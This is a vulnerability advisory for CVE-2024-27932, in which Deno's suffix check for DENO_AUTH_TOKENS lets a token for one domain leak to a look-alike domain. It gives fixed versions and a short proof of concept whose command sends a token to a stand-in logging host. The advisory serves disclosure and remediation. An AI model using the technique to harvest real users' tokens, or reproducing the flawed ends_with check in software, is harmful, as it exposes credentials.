CVE-2024-27932
Deno's improper suffix match testing for DENO_AUTH_TOKENS
Description
### Summary Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`. ### Details [auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens. ### PoC - Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`. - Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com` - Observe that the token intended only for the truncated domain is sent to the full domain ### Impact _What kind of vulnerability is it? Who is impacted?_ Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
How to fix CVE-2024-27932
To remediate CVE-2024-27932, upgrade the affected package to a fixed version below.
- —upgrade to 1.40.4 or later
Is CVE-2024-27932 being exploited?
Low — EPSS is 0.5%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- >= 1.8.0, < 1.40.4
CVSS scores
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